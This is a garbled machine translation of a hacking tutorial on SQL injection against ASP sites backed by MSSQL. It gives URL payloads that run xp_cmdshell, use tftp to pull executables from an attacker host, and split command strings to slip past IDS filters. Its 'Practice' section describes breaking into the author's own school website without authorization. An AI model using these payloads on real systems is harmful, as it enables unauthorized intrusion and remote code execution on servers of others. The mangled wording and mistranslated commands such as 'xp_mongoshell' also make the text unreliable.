Implementation and Application of SQL injection

Author: angel Source: Security angel

SQL injection can be said to be a vulnerability or an attack method. This vulnerability may be caused by improper variable processing or insufficient filtering of user-submitted data, the attack principle is to insert the desired SQL statement into the actual SQL statement of the system using the data submitted or modifiable by the user, to obtain sensitive information and to control the server. SQL injection is not limited to Mssql databases. Access, Mysql, Oracle, and Sybase can all launch SQL injection attacks.
The SQL injection attack technology of isno is a rare article. You can check it out, but the program is a variety of things, and some can submit commands or statements by modifying URL data, some do not work. What should I do if I cannot create a URL? By modifying the value in the <input> label, you can also submit the statements we constructed. SQL injection is a flexible technology, but we only have one purpose, is to find ways to audit the detection and processing of programs or IDS and submit the valid statements we constructed.

Vulnerability Detection
In most ASP sites, we do not know the program code, and it is impossible to find the SQL injection vulnerability by any scanner. At this time, we need to manually detect the vulnerability, since we use single quotes, semicolons, commas, colons, and "--" to execute SQL statements, we add the above symbols after the URL that can be modified, or add these symbols to the text box in the form, for example:

Http: // localhost/show. asp? Id = 1 Http: // localhost/show. asp? Id = 1; ......

Check whether the SQL injection vulnerability exists through the information returned by the page, but the most simple way is to judge through character filtering. According to the different IIS configurations, the returned information is not fixed and sometimes displays:

Microsoft ole db Provider for ODBC Drivers error 80040e21 ODBC drivers do not support the required attributes. /Register/lostpass2.asp, row 15

Sometimes "HTTP 500-internal server error" may be displayed, or the original page may be displayed, that is, the page is displayed normally, or "HTTP 404-this page cannot be found" may be displayed ", there is a basic basis for determining whether a vulnerability exists-experience. When I first started learning, I thought our school did not have this vulnerability, but Xiaoding told me that the returned information is only a basis, more importantly, our school was able to use the SQL injection vulnerability within two hours and opened a telnet service ......
If you can get the source code, you can find problems with ASP files by analyzing the source code. However, this requires a high programming skills. Recently, PsKey has found many programs with the SQL injection vulnerability. It's a really amazing role.

Submit data

After we determine that an ASP program has the SQL injection vulnerability, we need to construct our statements to operate on the server. Generally, our purpose is to control the SQL Server to view information and even the operating system. Therefore, we need to use the xp_mongoshell extended stored procedure. xp_mongoshell is a very useful extended stored procedure for executing system commands, such as dir. We can submit different statements according to different programs, the following example is just a reference. It tells you how this principle works. The actual situation depends on the program. Copying is not necessarily successful.

Http: // localhost/show. asp? Id = 1; exec master. dbo. xp_mongoshell dir ;-- Http: // localhost/show. asp? Id = 1; exec master .. xp_cmdshell dir --

As mentioned above, the browser will return an error message or 500 error when submitting such information. How can we know whether the execution is successful? The isno method is to use nc to listen to the local port and then submit the nslookup command for query. I personally think it is a bit troublesome. using tftp directly has many advantages to know whether the command is successfully executed; you can obtain the IP address of the SQL Server to determine the location of the SQL Server. You can also save some steps to directly upload files to the SQL server. Using xp_mongoshell to extend the stored procedure to execute the tftp Command. When we were dealing with the unicode vulnerability, was it a great success? Example:

Http: // localhost/show. asp? Id = 1; exec master. dbo. xp_cmdshell tftp-I youip get file.exe ;-- Http: // localhost/show. asp? Id = 1; exec master .. xp_cmdshell tftp-I youip get file.exe --

Sometimes the submitted data does not necessarily work. check how you bypass the program detection. If you are lucky enough to succeed, you can see that the tftp software window displays the information for downloading files from the local machine:

The IP address in the dialog box is the IP address of the SQL server. You can determine the location of the SQL Server Based on the IP address. When the SQL server is in the LAN, it is a separate server, this knowledge point is not covered in this article. After the command is successfully executed, you can replace the content in single quotes, add users, and escalate permissions. However, you need to check the group of roles connected to the SQL server.

Rao Program/IDS detection

Most of the time, the situation is not as smooth as we think, clearly character filtering is not perfect, but the program or IDS detects that the user submits an extended stored procedure or system command, it will automatically convert or split the characters, what should we do if we leave the submitted data to the house or change to make it invalid? I remember that I spent two classes in thinking about how to get rid of the IDS detection. I wasted half of my notebook writing and painting. After a little ding, I came up with a thought: split the command string, assign the value to the variable, and then combine the variable and submit it so that it will not be split. The following two examples are given:

Declare @ a sysname set @ a = xp _ + export shell exec @ a dir c: Declare @ a sysname set @ a = xp + _ cm '+ 'dshell exec @ a dir c:

Sometimes this is not necessary. If you change some characters to ASCII code, the code can also be executed successfully. I have no conditions to try it. If any of the experts has research on this, please kindly advise.

Practice

Our school site has done a good job. After I published the "view network security status by the school campus network" last time, the security of the school has been improved, and the monitoring program is almost abnormal. Why? After dozens of daemon processes are added, the system crashes and blue screens remain unchanged. However, I have broken down again, including the most proud hard disk protection card. (Someone asked me why I started my school? As a security technology enthusiast, I can't even connect to my school or company. How can this problem be solved? In addition, we can indirectly remind administrators that our school administrators are not very concerned about security.) Obviously, security is not absolute, and of course it cannot be perfect, even though no vulnerabilities can be found by scanners, however, the SQL injection vulnerability can be easily exploited to break through the website. There is no URL parameter in the whole site. The article is a static page, with only one registration system and a dynamic online forum. The dynamic online forum is an SQL version, I have modified it myself, so it is safer and the latest vulnerability does not exist. Because the school has the conditions, the whole site is based on ASP + SQL, laying the foundation for us to take advantage of the SQL injection vulnerability. The registration system has a function to forget the password, and the file is lostpass. asp. after submitting the user, go to lostpass1.asp. An error is prompted when submitting single quotes and semicolons. It seems that the filter is not properly filtered. Therefore, I submit the following command:

Exec master. dbo. xp_cmdshell tftp-I youip get file.exe ;-- Exec master.. xp_cmdshell tftp-I youip get file.exe -- Xp_cmdshell tftp-I youip get file.exe ;-- ......

If N commands (N> 50) are executed, none of them will work. Forget it. Give up first and check what files can be used. Soon shownews was found. asp files are usually used to display articles, documents, and other files that can execute system commands. I think the security awareness of school developers should not be so strong, so I was very happy for a while, try now:

Http: // ourschool/shownews. asp? Newsid = 1; Http: // ourschool/shownews. asp? Newsid = 1

Hehe, the system returns "HTTP 500-internal server error" based on the experience vulnerability. OK. Enter:

Http: // ourschool/shownews. asp? Newsid = 1 exec master .. xp_cmdshell tftp-I myip get flash.exe ;-- Http: // ourschool/shownews. asp? Newsid = 1; exec master .. xp_cmdshell tftp-I myip get flash.exe ;-- ...... Http: // ourschool/shownews. asp? Newsid = 1; exec master. dbo. xp_cmdshell tftp-I myip get flash.exe ;--

When I tried this sentence, I finally found a prompt in the window of the tftp software. You can refer to the previous one. We have succeeded. My experience tells me, the role connecting to the SQL database is in the Sysadmin group. Because our school is an independent server, the permission should be high and we can execute any